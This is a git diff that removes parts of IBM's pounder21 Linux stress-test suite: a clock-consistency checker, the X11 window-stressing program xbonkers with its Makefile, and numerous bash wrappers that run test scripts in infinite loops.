-	return 1;
-}
-
-int main(int argc, char *argv[])
-{
-	struct timespec list[CALLS_PER_LOOP];
-	int i, inconsistent;
-	unsigned long seconds = -1;
-	long now, then;
-	int clock_type = CLOCK_MONOTONIC;
-
-	if (argc > 1)
-		seconds = atol(argv[1]);
-
-	/* make sure CLOCK_MONOTONIC is supported */
-	if (clock_gettime(clock_type, &list[0])) {
-		printf("Using CLOCK_REALTIME\n");
-		clock_type = CLOCK_REALTIME;
-	}
-
-	clock_gettime(clock_type, &list[0]);
-	now = then = list[0].tv_sec;
-
-	/* timestamp start of test */
-	system("date");
-	while (seconds == -1 || now - then < seconds) {
-		inconsistent = 0;
-
-		/* Fill list */
-		for (i = 0; i < CALLS_PER_LOOP; i++)
-			clock_gettime(clock_type, &list[i]);
-
-		/* Check for inconsistencies */
-		for (i = 0; i < CALLS_PER_LOOP - 1; i++)
-			if (!in_order(list[i], list[i + 1]))
-				inconsistent = i;
-
-		/* display inconsistency */
-		if (inconsistent) {
-			unsigned long long delta;
-			for (i = 0; i < CALLS_PER_LOOP; i++) {
-				if (i == inconsistent)
-					printf("--------------------\n");
-				printf("%lu:%lu\n", list[i].tv_sec,
-				       list[i].tv_nsec);
-				if (i == inconsistent + 1)
-					printf("--------------------\n");
-			}
-			delta = list[inconsistent].tv_sec * NSEC_PER_SEC;
-			delta += list[inconsistent].tv_nsec;
-			delta -= list[inconsistent + 1].tv_sec * NSEC_PER_SEC;
-			delta -= list[inconsistent + 1].tv_nsec;
-			printf("Delta: %llu ns\n", delta);
-			fflush(0);
-			/* timestamp inconsistency */
-			system("date");
-			return -1;
-		}
-		now = list[0].tv_sec;
-	}
-	return 0;
-}
diff --git a/tools/pounder21/src/xbonkers/Makefile b/tools/pounder21/src/xbonkers/Makefile
deleted file mode 100644
index 4ceea9f..0000000
--- a/tools/pounder21/src/xbonkers/Makefile
+++ /dev/null
@@ -1,28 +0,0 @@
-# Build a program to move X windows across a screen
-
-# Copyright (C) 2003-2006 IBM
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of the
-# License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
-# 02111-1307, USA.
-
-
-CFLAGS += -O3 -Wall
-LDFLAGS=-lX11 -L/usr/X11R6/lib -L/usr/X11R6/lib64
-bins = xbonkers
-
-all: ${bins}
-
-clean:
-	rm -f ${bins}
diff --git a/tools/pounder21/src/xbonkers/xbonkers.c b/tools/pounder21/src/xbonkers/xbonkers.c
deleted file mode 100644
index 31b2e54..0000000
--- a/tools/pounder21/src/xbonkers/xbonkers.c
+++ /dev/null
@@ -1,562 +0,0 @@
-/*
- * Add more stress to X server by moving, resizing and activating windows
- * Author: Darrick Wong <djwong@us.ibm.com>
- */
-
-/*
- * Copyright (C) 2003-2006 IBM
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- */
-
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdlib.h>
-#include <X11/Xlib.h>
-#include <X11/Xatom.h>
-#include <string.h>
-#include <stdint.h>
-#include <limits.h>
-
-static int enable_fullscreen = 0;
-
-#define MAX_PROPERTY_VALUE_LEN	4096
-#define _NET_WM_STATE_TOGGLE	2
-#define SLIDE_THRESHOLD 	32
-
-/* We assume that the workspace number will either be -1 or some
- * huge number for "On All Workspaces" windows.  Presumably there
- * aren't 1,000,000 workspaces, so that should be a safe number.
- */
-#define DESKTOP_MAX		1000000
-
-#define ACTION_MOVE_WINDOW		0
-#define ACTION_ACTIVATE_WINDOW		1
-#define ACTION_MAXIMIZE_WINDOW		2
-#define ACTION_FULLSCREEN_WINDOW	3
-#define ACTION_HIDDEN_WINDOW		4
-#define ACTION_SLIDE_WINDOW_0		5
-#define ACTION_SLIDE_WINDOW_1		6
-#define ACTION_SLIDE_WINDOW_2		7
-#define ACTION_SLIDE_WINDOW_3		8
-#define ACTION_SLIDE_WINDOW_4		9
-#define ACTION_SLIDE_WINDOW_5		10
-#define ACTION_MIN		ACTION_MOVE_WINDOW
-#define ACTION_MAX		ACTION_SLIDE_WINDOW_5
-
-/* The goal of this program:
- * 0. Seed random number generator
- * 1. Grab the list of windows and the desktop size.
- * 2. Filter out the panel/desktop/whatever.  We're going to make
- *    a cheesy assumption that a window on desktop -1 should be left
- *    alone.  (Actually, the -1 denotes "all desktops")
- * 3. For each window:
- *    a. Figure out what we're going to do--activate, move/resize,
- *       or maximize it.
- *    b. If we're going to move/resize, grab 4 random numbers.
- *    c. Actually perform the action.
- * 4. Every so often, jump back to (2) in case there are new windows.
- *    Maybe every 10,000 moves or so.
- *
- * Note that you do NOT want to run this on any X session you care about.
- * It shouldn't take down X, but YMMV and in any case mad window resizing
- * makes it hard to get work done.
- */
-static int seed_random(void);
-static int get_desktop_size(Display * disp, unsigned long *w, unsigned long *h);
-static char *get_property(Display * disp, Window win, Atom xa_prop_type,
-			  char *prop_name, unsigned long *size,
-			  unsigned long *items);
-static void go_bonkers(Display * disp, unsigned long iterations,
-		       unsigned long sleep);
-static Window *get_interesting_windows(Display * disp,
-				       unsigned long *num_windows);
-static Window *get_client_list(Display * disp, unsigned long *size,
-			       unsigned long *items);
-static long get_randnum(long min, long max);
-static int send_client_msg(Display * disp, Window win, char *msg,
-			   unsigned long data0, unsigned long data1,
-			   unsigned long data2, unsigned long data3,
-			   unsigned long data4);
-static int activate_window(Display * disp, Window * win);
-static int wm_supports(Display * disp, const char *prop);
-static void move_window(Display * disp, Window * win, unsigned long desk_w,
-			unsigned long desk_h);
-static int toggle_property(Display * disp, Window * win, const char *property);
-static inline unsigned long clamp_value(unsigned long value,
-					unsigned long min, unsigned long max);
-static int ignore_xlib_error(Display * disp, XErrorEvent * xee);
-
-/* Actual functions begin here. */
-
-static int seed_random(void)
-{
-	int fp;
-	long seed;
-
-	fp = open("/dev/urandom", O_RDONLY);
-	if (fp < 0) {
-		perror("/dev/urandom");
-		return 0;
-	}
-
-	if (read(fp, &seed, sizeof(seed)) != sizeof(seed)) {
-		perror("read random seed");
-		return 0;
-	}
-
-	close(fp);
-	srand(seed);
-
-	return 1;
-}
-
-static int get_desktop_size(Display * disp, unsigned long *w, unsigned long *h)
-{
-	*w = DisplayWidth(disp, 0);
-	*h = DisplayHeight(disp, 0);
-
-	return 1;
-}
-
-static char *get_property(Display * disp, Window win, Atom xa_prop_type,
-			  char *prop_name, unsigned long *size,
-			  unsigned long *items)
-{
-	Atom xa_prop_name;
-	Atom xa_ret_type;
-	int ret_format;
-	unsigned long ret_nitems;
-	unsigned long ret_bytes_after;
-	unsigned long tmp_size;
-	unsigned char *ret_prop;
-	char *ret;
-
-	xa_prop_name = XInternAtom(disp, prop_name, False);
-
-	if (XGetWindowProperty
-	    (disp, win, xa_prop_name, 0, MAX_PROPERTY_VALUE_LEN / 4, False,
-	     xa_prop_type, &xa_ret_type, &ret_format, &ret_nitems,
-	     &ret_bytes_after, &ret_prop) != Success) {
-		fprintf(stderr, "Cannot get %s property.\n", prop_name);
-		return NULL;
-	}
-
-	if (xa_ret_type != xa_prop_type) {
-		fprintf(stderr, "Invalid type of %s property.\n", prop_name);
-		XFree(ret_prop);
-		return NULL;
-	}
-
-	/* XXX: EVIL HACK to get around a bug when sizeof(Window) is 8 yet ret_format
-	 * is listed as 32bits and we're trying to get the client list.  Just double
-	 * ret_format and proceed. */
-	if (ret_format == 32 && strcmp(prop_name, "_NET_CLIENT_LIST") == 0 &&
-	    sizeof(Window) == 8) {
-		ret_format *= 2;
-	}
-
-	/* null terminate the result to make string handling easier */
-	tmp_size = (ret_format / 8) * ret_nitems;
-	ret = calloc(tmp_size + 1, 1);
-	if (!ret) {
-		perror("get_property malloc failed");
-		return NULL;
-	}
-	memcpy(ret, ret_prop, tmp_size);
-	ret[tmp_size] = '\0';
-
-	if (size) {
-		*size = ret_format / 8;
-	}
-	if (items) {
-		*items = ret_nitems;
-	}
-
-	XFree(ret_prop);
-	return ret;
-}
-
-static long get_randnum(long min, long max)
-{
-	return min + (long)((float)max * (rand() / (RAND_MAX + 1.0)));
-}
-
-static int wm_supports(Display * disp, const char *prop)
-{
-	Atom xa_prop = XInternAtom(disp, prop, False);
-	Atom *list;
-	unsigned long size, items;
-	int i;
-
-	if (!(list = (Atom *) get_property(disp, DefaultRootWindow(disp),
-					   XA_ATOM, "_NET_SUPPORTED", &size,
-					   &items))) {
-		fprintf(stderr, "Cannot get _NET_SUPPORTED property.\n");
-		return 0;
-	}
-
-	size *= items;
-
-	for (i = 0; i < size / sizeof(Atom); i++) {
-		if (list[i] == xa_prop) {
-			free(list);
-			return 1;
-		}
-	}
-
-	free(list);
-	return 0;
-}
-
-static inline unsigned long clamp_value(unsigned long value,
-					unsigned long min, unsigned long max)
-{
-	return (value < min ? min : (value > max ? max : value));
-}
-
-static int ignore_xlib_error(Display * disp, XErrorEvent * xee)
-{
-	char errbuf[256];
-
-	XGetErrorText(disp, xee->error_code, errbuf, 256);
-	fprintf(stderr,
-		"IGNORING Xlib error %d (%s) on request (%d.%d), sernum = %lu.\n",
-		xee->error_code, errbuf, xee->request_code, xee->minor_code,
-		xee->serial);
-	return 1;
-}
-
-static void slide_window(Display * disp, Window * win, unsigned long desk_w,
-			 unsigned long desk_h)
-{
-	unsigned long x, y;
-	unsigned long w, h;
-	XWindowAttributes moo;
-	Window junk;
-
-	if (XGetWindowAttributes(disp, *win, &moo) != 1) {
-		fprintf(stderr, "Cannot get attributes of window 0x%lx.\n",
-			*win);
-		return;
-	}
-
-	if (XTranslateCoordinates(disp, *win, moo.root,
-				  -moo.border_width, -moo.border_width, &moo.x,
-				  &moo.y, &junk) != 1) {
-		fprintf(stderr,
-			"Cannot translate coordinates of window 0x%lx.\n",
-			*win);
-		return;
-	}
-
-	x = moo.x + get_randnum(-SLIDE_THRESHOLD, SLIDE_THRESHOLD);
-	y = moo.y + get_randnum(-SLIDE_THRESHOLD, SLIDE_THRESHOLD);
-	w = moo.width + get_randnum(-SLIDE_THRESHOLD, SLIDE_THRESHOLD);
-	h = moo.height + get_randnum(-SLIDE_THRESHOLD, SLIDE_THRESHOLD);
-
-	x = clamp_value(x, 0, desk_w);
-	y = clamp_value(y, 0, desk_h);
-	w = clamp_value(w, 0, desk_w);
-	h = clamp_value(h, 0, desk_h);
-
-	if (wm_supports(disp, "_NET_MOVERESIZE_WINDOW")) {
-		send_client_msg(disp, *win, "_NET_MOVERESIZE_WINDOW",
-				0, x, y, w, h);
-	} else {
-		XMoveResizeWindow(disp, *win, x, y, w, h);
-	}
-}
-
-static void move_window(Display * disp, Window * win, unsigned long desk_w,
-			unsigned long desk_h)
-{
-	unsigned long x, y, w, h;
-
-	x = get_randnum(0, desk_w);
-	y = get_randnum(0, desk_h);
-	w = get_randnum(150, desk_w);
-	h = get_randnum(150, desk_h);
-
-	if (wm_supports(disp, "_NET_MOVERESIZE_WINDOW")) {
-		send_client_msg(disp, *win, "_NET_MOVERESIZE_WINDOW",
-				0, x, y, w, h);
-	} else {
-		XMoveResizeWindow(disp, *win, x, y, w, h);
-	}
-}
-
-static int toggle_property(Display * disp, Window * win, const char *property)
-{
-	Atom prop;
-
-	prop = XInternAtom(disp, property, False);
-	return send_client_msg(disp, *win, "_NET_WM_STATE",
-			       _NET_WM_STATE_TOGGLE, prop, 0, 0, 0);
-}
-
-static void go_bonkers(Display * disp, unsigned long iterations,
-		       unsigned long sleep)
-{
-	unsigned long desk_w, desk_h;
-	Window *windows, *window;
-	unsigned long windows_length = 0, i;
-
-	if (!get_desktop_size(disp, &desk_w, &desk_h)) {
-		fprintf(stderr, "WARNING: Assuming desktop to be 1024x768!\n");
-		desk_w = 1024;
-		desk_h = 768;
-	}
-	printf("Desktop is %lu by %lu.\n", desk_w, desk_h);
-
-	windows = get_interesting_windows(disp, &windows_length);
-	if (!windows) {
-		usleep(1000000);
-		return;
-	}
-	printf("There are %lu interesting windows.\n", windows_length);
-
-	/* Bump up the iteration count so that all windows get
-	 * some exercise. */
-	iterations += iterations % windows_length;
-
-	for (i = 0; i < iterations; i++) {
-		window = &windows[i % windows_length];
-		switch (get_randnum(ACTION_MIN, ACTION_MAX)) {
-		case ACTION_MOVE_WINDOW:
-			move_window(disp, window, desk_w, desk_h);
-			break;
-		case ACTION_ACTIVATE_WINDOW:
-			activate_window(disp, window);
-			break;
-		case ACTION_MAXIMIZE_WINDOW:
-			toggle_property(disp, window,
-					"_NET_WM_STATE_MAXIMIZED_VERT");
-			toggle_property(disp, window,
-					"_NET_WM_STATE_MAXIMIZED_HORZ");
-			break;
-		case ACTION_FULLSCREEN_WINDOW:
-			if (!enable_fullscreen)
-				break;
-			toggle_property(disp, window,
-					"_NET_WM_STATE_FULLSCREEN");
-			break;
-		case ACTION_HIDDEN_WINDOW:
-			toggle_property(disp, window, "_NET_WM_STATE_HIDDEN");
-			break;
-		case ACTION_SLIDE_WINDOW_0:
-		case ACTION_SLIDE_WINDOW_1:
-		case ACTION_SLIDE_WINDOW_2:
-		case ACTION_SLIDE_WINDOW_3:
-		case ACTION_SLIDE_WINDOW_4:
-		case ACTION_SLIDE_WINDOW_5:
-			slide_window(disp, window, desk_w, desk_h);
-			break;
-		}
-		usleep(sleep);
-	}
-
-	free(windows);
-}
-
-static int send_client_msg(Display * disp, Window win, char *msg,
-			   unsigned long data0, unsigned long data1,
-			   unsigned long data2, unsigned long data3,
-			   unsigned long data4)
-{
-	XEvent event;
-	long mask = SubstructureRedirectMask | SubstructureNotifyMask;
-
-	event.xclient.type = ClientMessage;
-	event.xclient.serial = 0;
-	event.xclient.send_event = True;
-	event.xclient.message_type = XInternAtom(disp, msg, False);
-	event.xclient.window = win;
-	event.xclient.format = 32;
-	event.xclient.data.l[0] = data0;
-	event.xclient.data.l[1] = data1;
-	event.xclient.data.l[2] = data2;
-	event.xclient.data.l[3] = data3;
-	event.xclient.data.l[4] = data4;
-
-	if (XSendEvent(disp, DefaultRootWindow(disp), False, mask, &event)) {
-		return 1;
-	} else {
-		fprintf(stderr, "Cannot send %s event.\n", msg);
-		return 0;
-	}
-}
-
-static int activate_window(Display * disp, Window * win)
-{
-	int ret;
-
-	ret = send_client_msg(disp, *win, "_NET_ACTIVE_WINDOW", 0, 0, 0, 0, 0);
-	XMapRaised(disp, *win);
-
-	return ret;
-}
-
-static Window *get_client_list(Display * disp, unsigned long *size,
-			       unsigned long *items)
-{
-	void *res;
-
-	if ((res = (Window *) get_property(disp, DefaultRootWindow(disp),
-					   XA_WINDOW, "_NET_CLIENT_LIST", size,
-					   items)) == NULL) {
-		if ((res =
-		     (Window *) get_property(disp, DefaultRootWindow(disp),
-					     XA_CARDINAL, "_WIN_CLIENT_LIST",
-					     size, items)) == NULL) {
-			fprintf(stderr,
-				"Cannot get client list properties. \n"
-				"(_NET_CLIENT_LIST or _WIN_CLIENT_LIST)" "\n");
-			return NULL;
-		}
-	}
-
-	return (Window *) res;
-}
-
-static Window *get_interesting_windows(Display * disp,
-				       unsigned long *num_windows)
-{
-	Window *client_list, *ret, *tmp;
-	unsigned long client_list_size, client_list_items, i;
-	long *desktop;
-	unsigned long num_needed = 0;
-
-	if ((client_list = get_client_list(disp, &client_list_size,
-					   &client_list_items)) == NULL) {
-		return NULL;
-	}
-
-	/* Figure out how many Window structs we'll ultimately need. */
-	for (i = 0; i < client_list_items; i++) {
-		/* desktop ID */
-		if ((desktop = (long *)get_property(disp, client_list[i],
-						    XA_CARDINAL,
-						    "_NET_WM_DESKTOP", NULL,
-						    NULL)) == NULL) {
-			desktop =
-			    (long *)get_property(disp, client_list[i],
-						 XA_CARDINAL, "_WIN_WORKSPACE",
-						 NULL, NULL);
-		}
-
-		/* Ignore windows on unknown desktops */
-		if (desktop && *desktop >= 0 && *desktop < DESKTOP_MAX) {
-			num_needed++;
-			free(desktop);
-		}
-	}
-
-	ret = calloc(num_needed, sizeof(Window));
-	if (!ret) {
-		perror("get_interesting_window allocations");
-		free(client_list);
-		return NULL;
-	}
-	tmp = ret;
-
-	/* Now copy all that crud. */
-	for (i = 0; i < client_list_items; i++) {
-		/* desktop ID */
-		if ((desktop = (long *)get_property(disp, client_list[i],
-						    XA_CARDINAL,
-						    "_NET_WM_DESKTOP", NULL,
-						    NULL)) == NULL) {
-			desktop =
-			    (long *)get_property(disp, client_list[i],
-						 XA_CARDINAL, "_WIN_WORKSPACE",
-						 NULL, NULL);
-		}
-
-		if (desktop && *desktop >= 0 && *desktop < DESKTOP_MAX) {
-			memcpy(tmp, &client_list[i], sizeof(Window));
-			tmp++;
-			free(desktop);
-		}
-	}
-	free(client_list);
-
-	*num_windows = num_needed;
-	return ret;
-}
-
-int main(int argc, char *argv[])
-{
-	char *disp_string = NULL;
-	unsigned long iterations = 10000, rounds = -1, i;
-	unsigned long sleep = 100000;
-	int opt;
-	Display *disp;
-
-	while ((opt = getopt(argc, argv, "d:i:r:s:f")) != -1) {
-		switch (opt) {
-		case 'd':
-			disp_string = optarg;
-			break;
-		case 'i':
-			iterations = atoi(optarg);
-			break;
-		case 'r':
-			rounds = atoi(optarg);
-			break;
-		case 's':
-			sleep = atoi(optarg);
-			break;
-		case 'f':
-			enable_fullscreen = 1;
-			break;
-		default:
-			fprintf(stderr,
-				"Usage: %s [-d DISPLAY] [-i ITERATIONS] [-r ROUNDS] [-s SLEEP] [-f]\n\
-	DISPLAY is an X11 display string.\n\
-	ITERATIONS is the approximate number of windows to play with before generating a new window list.\n\
-	SLEEP is the amount of time (in usec) to sleep between window tweaks.\n\
-	-f enables fullscreen toggling.\n\
-	ROUNDS is the number of iterations to run, or -1 to run forever.\n",
-				argv[0]);
-			return 0;
-		}
-	}
-
-	if (!(disp = XOpenDisplay(disp_string))) {
-		fprintf(stderr, "Unable to connect to display '%s'.\n",
-			(disp_string !=
-			 NULL ? disp_string : getenv("DISPLAY")));
-		return 1;
-	}
-
-	seed_random();
-
-	XSetErrorHandler(&ignore_xlib_error);
-
-	for (i = 0; i < rounds || rounds == -1; i++) {
-		go_bonkers(disp, iterations, sleep);
-	}
-
-	printf("Enough of that; I'm done.\n");
-
-	XCloseDisplay(disp);
-
-	return 0;
-}
diff --git a/tools/pounder21/test_repo/D01stats b/tools/pounder21/test_repo/D01stats
deleted file mode 120000
index 5b98648..0000000
--- a/tools/pounder21/test_repo/D01stats
+++ /dev/null
@@ -1 +0,0 @@
-../test_scripts/statslogging
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T00hwinfo b/tools/pounder21/test_repo/T00hwinfo
deleted file mode 120000
index e7db6e7..0000000
--- a/tools/pounder21/test_repo/T00hwinfo
+++ /dev/null
@@ -1 +0,0 @@
-../test_scripts/get_hw_info
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T00sysrq_on b/tools/pounder21/test_repo/T00sysrq_on
deleted file mode 120000
index d44b81e..0000000
--- a/tools/pounder21/test_repo/T00sysrq_on
+++ /dev/null
@@ -1 +0,0 @@
-../test_scripts/sysrq-on
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T01screen_noblank b/tools/pounder21/test_repo/T01screen_noblank
deleted file mode 120000
index c6c8761..0000000
--- a/tools/pounder21/test_repo/T01screen_noblank
+++ /dev/null
@@ -1 +0,0 @@
-../test_scripts/screen_noblank
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T10single/T00xterm_stress b/tools/pounder21/test_repo/T10single/T00xterm_stress
deleted file mode 120000
index 580fa03..0000000
--- a/tools/pounder21/test_repo/T10single/T00xterm_stress
+++ /dev/null
@@ -1 +0,0 @@
-../../test_scripts/xterm_stress
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T10single/T01ltp b/tools/pounder21/test_repo/T10single/T01ltp
deleted file mode 120000
index 40eebf5..0000000
--- a/tools/pounder21/test_repo/T10single/T01ltp
+++ /dev/null
@@ -1 +0,0 @@
-../../test_scripts/ltp
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T10single/T02ipmitool b/tools/pounder21/test_repo/T10single/T02ipmitool
deleted file mode 100755
index 0fa5b8c..0000000
--- a/tools/pounder21/test_repo/T10single/T02ipmitool
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-
-$POUNDER_HOME/test_scripts/ipmitool
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D01bonnie++ b/tools/pounder21/test_repo/T90ramp/D01bonnie++
deleted file mode 100755
index 624bd00..0000000
--- a/tools/pounder21/test_repo/T90ramp/D01bonnie++
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/bonnie++
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D02build_kernel b/tools/pounder21/test_repo/T90ramp/D02build_kernel
deleted file mode 100755
index 6c25924..0000000
--- a/tools/pounder21/test_repo/T90ramp/D02build_kernel
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/build_kernel
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D03copy_large_tree b/tools/pounder21/test_repo/T90ramp/D03copy_large_tree
deleted file mode 100755
index a771076..0000000
--- a/tools/pounder21/test_repo/T90ramp/D03copy_large_tree
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/copy_large_tree
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D04ddhappy b/tools/pounder21/test_repo/T90ramp/D04ddhappy
deleted file mode 100755
index 93db6aa..0000000
--- a/tools/pounder21/test_repo/T90ramp/D04ddhappy
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/ddhappy
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D05ide_cdrom_copy b/tools/pounder21/test_repo/T90ramp/D05ide_cdrom_copy
deleted file mode 100755
index 57ee221..0000000
--- a/tools/pounder21/test_repo/T90ramp/D05ide_cdrom_copy
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/ide_cdrom_copy
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D06lame b/tools/pounder21/test_repo/T90ramp/D06lame
deleted file mode 100755
index 9bd6751..0000000
--- a/tools/pounder21/test_repo/T90ramp/D06lame
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/lame
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D07cpufreq b/tools/pounder21/test_repo/T90ramp/D07cpufreq
deleted file mode 100755
index 94e4274..0000000
--- a/tools/pounder21/test_repo/T90ramp/D07cpufreq
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/cpufreq
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D08memtest b/tools/pounder21/test_repo/T90ramp/D08memtest
deleted file mode 100755
index 0b6de26..0000000
--- a/tools/pounder21/test_repo/T90ramp/D08memtest
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/memtest
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D09memxfer5b b/tools/pounder21/test_repo/T90ramp/D09memxfer5b
deleted file mode 100755
index b336768..0000000
--- a/tools/pounder21/test_repo/T90ramp/D09memxfer5b
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/memxfer5b
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D10nfs b/tools/pounder21/test_repo/T90ramp/D10nfs
deleted file mode 100755
index 1c20641..0000000
--- a/tools/pounder21/test_repo/T90ramp/D10nfs
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/nfs
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D11ramsnake b/tools/pounder21/test_repo/T90ramp/D11ramsnake
deleted file mode 100755
index a080b73..0000000
--- a/tools/pounder21/test_repo/T90ramp/D11ramsnake
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/ramsnake
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D12random_syscall b/tools/pounder21/test_repo/T90ramp/D12random_syscall
deleted file mode 100755
index d29d767..0000000
--- a/tools/pounder21/test_repo/T90ramp/D12random_syscall
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/random_syscall
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D13mem_alloc b/tools/pounder21/test_repo/T90ramp/D13mem_alloc
deleted file mode 100755
index 718a4ec..0000000
--- a/tools/pounder21/test_repo/T90ramp/D13mem_alloc
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/mem_alloc
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D14ltp b/tools/pounder21/test_repo/T90ramp/D14ltp
deleted file mode 100755
index c4aa4cf..0000000
--- a/tools/pounder21/test_repo/T90ramp/D14ltp
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/ltp
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D15time_consistency b/tools/pounder21/test_repo/T90ramp/D15time_consistency
deleted file mode 100755
index 741c98f..0000000
--- a/tools/pounder21/test_repo/T90ramp/D15time_consistency
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/time_consistency
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D16time_drift b/tools/pounder21/test_repo/T90ramp/D16time_drift
deleted file mode 100755
index e738739..0000000
--- a/tools/pounder21/test_repo/T90ramp/D16time_drift
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/time_drift
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/D17xterm_stress b/tools/pounder21/test_repo/T90ramp/D17xterm_stress
deleted file mode 100755
index c6d5bed..0000000
--- a/tools/pounder21/test_repo/T90ramp/D17xterm_stress
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-trap 'exit 0' 15
-$POUNDER_HOME/infinite_loop $POUNDER_HOME/test_scripts/xterm_stress
-exit $?
diff --git a/tools/pounder21/test_repo/T90ramp/T01rampup b/tools/pounder21/test_repo/T90ramp/T01rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T01rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T02rampup b/tools/pounder21/test_repo/T90ramp/T02rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T02rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T03rampup b/tools/pounder21/test_repo/T90ramp/T03rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T03rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T04rampup b/tools/pounder21/test_repo/T90ramp/T04rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T04rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
diff --git a/tools/pounder21/test_repo/T90ramp/T05rampup b/tools/pounder21/test_repo/T90ramp/T05rampup
deleted file mode 120000
index cfb100c..0000000
--- a/tools/pounder21/test_repo/T90ramp/T05rampup
+++ /dev/null
@@ -1 +0,0 @@
-ramp_wait
\ No newline at end of file
